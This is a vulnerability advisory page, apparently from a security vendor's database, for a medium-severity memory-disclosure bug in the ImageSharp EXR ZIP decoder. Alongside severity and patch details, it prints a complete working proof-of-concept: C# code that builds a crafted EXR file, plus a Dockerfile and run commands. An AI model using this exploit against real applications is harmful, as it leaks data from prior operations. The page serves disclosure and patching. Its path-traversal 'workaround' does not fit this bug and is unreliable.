Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
.NET
.NET NuGet
Not in CISA KEV
MEDIUM severity

CVE-2026-106111 — SixLabors.ImageSharp

MEDIUMFix: SixLabors/ImageSharp@3c43cf5

CVE-2026-106111 is a medium-severity (CVSS 5.9) CWE-226 vulnerability in SixLabors.ImageSharp. A fix is available for SixLabors.ImageSharp — see the affected versions and patch details below.

ImageSharp: EXR ZIP decoder can expose stale allocator data after a short inflate

Also known asGHSA-4q3p-rj5x-xv7p
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 18, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-106111.

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs27th percentile — riskier than 27% of all scored CVEsHighest risk

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-106111 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 394,415 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
.NETSixLabors.ImageSharp

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects NuGet packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block.

This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared Configuration.Default allocator for separate image operations and exposes pixels or output derived from a later attacker-controlled EXR decode. Whether that creates a network attack path depends on the host application.

No active exploitation is known.

Affected package and versions

  • Package: SixLabors.ImageSharp (NuGet)
  • Affected published releases: 4.0.0, 4.1.0, and 4.1.1
  • Affected range: >= 4.0.0, <= 4.1.1
  • Commit 0815358f9202a78bc7f3b83e19282dc3654b500f corresponds to release v4.1.1.

EXR support first appears in v4.0.0. The cross-operation PoC exposes the prior-operation marker on each published 4.x release, while the full-inflate control does not expose it on any of them.

Details

For ZIP/ZIPS EXR compression, ExrDecoderCore allocates the expected block buffer without AllocationOptions.Clean and later interprets the complete buffer as channel data. ZipExrCompression accepts a partial but non-empty inflate result: UndoZipCompression rejects only totalRead == 0.

Only the returned prefix is reconstructed and interleaved into the destination block. The remaining bytes retain allocator contents from a completed prior operation. ExrDecoderCore then converts those bytes into returned image pixels.

Reproduction

The attached Docker PoC uses the published SixLabors.ImageSharp NuGet package version 4.1.1. It first completes a valid 64x1 FLOAT/ZIPS EXR encoding that contains the test value 0.27182817. It then decodes a separate crafted 256x1 FLOAT/ZIPS EXR.

The exploit payload inflates to 8 bytes although the declared image block needs 1024 bytes. The control payload inflates to all 1024 bytes. The marker is present only in exploit output.

docker build -t imagesharp-4q3p-poc .
docker run --rm imagesharp-4q3p-poc exploit
docker run --rm imagesharp-4q3p-poc control

Test environment: Docker with mcr.microsoft.com/dotnet/sdk:8.0, .NET SDK 8.0.424 / .NET 8, Debian 12, Linux ARM64.

Observed output:

imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
mode=exploit
prior-operation=valid-exr-encode-completed bytes=383
prior-value=0.27182817
leaked=True first-prior-value-pixel=4

imagesharp-assembly=4.0.0.0 informational-version=4.1.1+0815358f9202a78bc7f3b83e19282dc3654b500f
mode=control
prior-operation=valid-exr-encode-completed bytes=383
prior-value=0.27182817
leaked=False first-prior-value-pixel=-1

Suggested remediation

Reject ZIP/ZIPS EXR blocks unless the decompressor produces exactly the expected uncompressed byte count. Clearing the destination buffer is defense in depth, but exact-length validation is required before parsing any decompressed bytes.

Complete PoC files

Program.cs:

using System.Buffers.Binary;
using System.Globalization;
using System.IO.Compression;
using System.Reflection;
using System.Text;
using SixLabors.ImageSharp;
using SixLabors.ImageSharp.Formats;
using SixLabors.ImageSharp.Formats.Exr;
using SixLabors.ImageSharp.Formats.Exr.Constants;
using SixLabors.ImageSharp.PixelFormats;

// This performs two independent completed ImageSharp operations in one process.
// The first is a valid EXR encoding containing a test value. The second is a
// malformed EXR decode whose short ZIP result exposes that value from the
// allocator shared through Configuration.Default.
internal static class Program
{
    private const int PriorWidth = 64;
    private const int AttackerWidth = 256;
    private const float PriorValue = 0.271828182f;

    private static int Main(string[] args)
    {
        bool exploit = args.Length == 0 || args[0] == "exploit";
        if (args.Length > 0 && args[0] is not ("exploit" or "control"))
        {
            Console.Error.WriteLine("usage: final-4q3p [exploit|control]");
            return 2;
        }

        Assembly imageSharp = typeof(Image).Assembly;
        string informationalVersion = imageSharp
            .GetCustomAttribute<AssemblyInformationalVersionAttribute>()?
            .InformationalVersion
            ?? "(missing)";
        Console.WriteLine($"imagesharp-assembly={imageSharp.GetName().Version} informational-version={informationalVersion}");
        Console.WriteLine($"mode={(exploit ? "exploit" : "control")}");

        EncodePriorOperation();

        // Both variants declare a 256 x 1 FLOAT/ZIPS image, requiring 1024
        // uncompressed bytes. The control payload supplies all 1024 bytes.
        // The exploit payload supplies eight non-empty bytes.
        byte[] exr = BuildAttackerExr(exploit ? 8 : AttackerWidth * sizeof(float));
        using Image<RgbaVector> result = Image.Load<RgbaVector>(
            new DecoderOptions { Configuration = Configuration.Default },
            new MemoryStream(exr));

        result.DangerousTryGetSinglePixelMemory(out Memory<RgbaVector> memory);
        int firstLeak = FindPriorValue(memory.Span);

        Console.WriteLine($"prior-value={PriorValue.ToString("R", CultureInfo.InvariantCulture)}");
        Console.WriteLine($"leaked={firstLeak >= 0} first-prior-value-pixel={firstLeak}");

        if ((firstLeak >= 0) != exploit)
        {
            Console.Error.WriteLine("unexpected disclosure result");
            return 1;
        }

        return 0;
    }

    private static void EncodePriorOperation()
    {
        using var previousImage = new Image<RgbaVector>(PriorWidth, 1);
        for (int x = 0; x < PriorWidth; x++)
        {
            previousImage[x, 0] = new RgbaVector(PriorValue, 0.125f, 0.5f, 1f);
        }

        using var encoded = new MemoryStream();
        previousImage.Save(encoded, new ExrEncoder
        {
            Compression = ExrCompression.Zips,
            PixelType = ExrPixelType.Float,
        });

        Console.WriteLine($"prior-operation=valid-exr-encode-completed bytes={encoded.Length}");
    }

    private static int FindPriorValue(ReadOnlySpan<RgbaVector> pixels)
    {
        int expectedBits = BitConverter.SingleToInt32Bits(PriorValue);
        for (int x = 0; x < pixels.Length; x++)
        {
            if (BitConverter.SingleToInt32Bits(pixels[x].R) == expectedBits)
            {
                return x;
            }
        }

        return -1;
    }

    private static byte[] BuildAttackerExr(int inflatedBytes)
    {
        byte[] compressed = ZlibCompress(new byte[inflatedBytes]);
        using var output = new MemoryStream();
        using var writer = new BinaryWriter(output);

        writer.Write(new byte[] { 0x76, 0x2F, 0x31, 0x01 }); // OpenEXR magic
        writer.Write((byte)2);
        writer.Write(new byte[] { 0, 0, 0 });

        using (var channels = new MemoryStream())
        using (var channelWriter = new BinaryWriter(channels))
        {
            WriteString(channelWriter, "R");
            channelWriter.Write(2); // FLOAT
            channelWriter.Write((byte)0);
            channelWriter.Write(new byte[] { 0, 0, 0 });
            channelWriter.Write(1);
            channelWriter.Write(1);
            channelWriter.Write((byte)0);
            WriteAttribute(writer, "channels", "chlist", channels.ToArray());
        }

        WriteAttribute(writer, "compression", "compression", new byte[] { 2 }); // ZIPS
        WriteBox(writer, "dataWindow");
        WriteBox(writer, "displayWindow");
        WriteAttribute(writer, "lineOrder", "lineOrder", new byte[] { 0 });

        byte[] one = new byte[4];
        BinaryPrimitives.WriteSingleLittleEndian(one, 1F);
        WriteAttribute(writer, "pixelAspectRatio", "float", one);
        WriteAttribute(writer, "screenWindowCenter", "v2f", new byte[8]);
        WriteAttribute(writer, "screenWindowWidth", "float", one);
        writer.Write((byte)0); // end of header

        long chunkOffset = output.Position + sizeof(ulong);
        writer.Write((ulong)chunkOffset);
        writer.Write((uint)0); // scanline
        writer.Write((uint)compressed.Length);
        writer.Write(compressed);
        writer.Flush();
        return output.ToArray();
    }

    private static void WriteBox(BinaryWriter writer, string name)
    {
        using var value = new MemoryStream();
        using (var box = new BinaryWriter(value, Encoding.ASCII, leaveOpen: true))
        {
            box.Write(0);
            box.Write(0);
            box.Write(AttackerWidth - 1);
            box.Write(0);
        }

        WriteAttribute(writer, name, "box2i", value.ToArray());
    }

    private static byte[] ZlibCompress(byte[] source)
    {
        using var compressed = new MemoryStream();
        using (var zlib = new ZLibStream(compressed, CompressionLevel.Optimal, leaveOpen: true))
        {
            zlib.Write(source, 0, source.Length);
        }

        return compressed.ToArray();
    }

    private static void WriteAttribute(BinaryWriter writer, string name, string type, byte[] value)
    {
        WriteString(writer, name);
        WriteString(writer, type);
        writer.Write(value.Length);
        writer.Write(value);
    }

    private static void WriteString(BinaryWriter writer, string value)
    {
        writer.Write(Encoding.ASCII.GetBytes(value));
        writer.Write((byte)0);
    }
}

Project file:

<Project Sdk="Microsoft.NET.Sdk">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <Nullable>enable</Nullable>
    <ImplicitUsings>enable</ImplicitUsings>
  </PropertyGroup>
  <ItemGroup>
    <PackageReference Include="SixLabors.ImageSharp" Version="4.1.1" />
  </ItemGroup>
</Project>

Dockerfile:

FROM mcr.microsoft.com/dotnet/sdk:8.0

WORKDIR /poc
COPY final-4q3p.csproj Program.cs ./

# Debug is intentional: ImageSharp 4.1.1's package build target reports a
# missing-license warning rather than an error in this configuration. The
# program is still compiled against the published 4.1.1 NuGet assembly.
RUN dotnet restore && dotnet build -c Debug --no-restore

ENTRYPOINT ["dotnet", "bin/Debug/net8.0/final-4q3p.dll"]

Run:

docker build -t imagesharp-4q3p-poc .
docker run --rm imagesharp-4q3p-poc exploit
docker run --rm imagesharp-4q3p-poc control

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
.NETNuGetSixLabors.ImageSharp≥ 4.0.0&&< 4.1.24.1.2dotnet add package SixLabors.ImageSharp --version 4.1.2

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for SixLabors.ImageSharp, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update SixLabors.ImageSharp to 4.1.2 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-106111 is resolved across your whole dependency graph.

  3. Workarounds

    Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.

Frequently Asked Questions

## Summary A crafted ZIP-compressed OpenEXR image can return stale memory from a prior ImageSharp operation as decoded pixels. The ZIP decoder accepts a non-empty inflate result shorter than the EXR block's required size, then the EXR decoder reads the full expected block. This is a process-local, cross-operation information-disclosure defect. It is relevant when an application uses the shared `Configuration.Default` allocator for separate image operations and exposes pixels or output derived from a later attacker-controlled EXR decode. Whether that creates a network attack path depends on t
O3 Security · Impact-Aware SCA

Is CVE-2026-106111 in your dependencies?

Find it across NuGet, including transitive dependencies.

CVE-2026-106111: SixLabors — Fixed in 4.1.2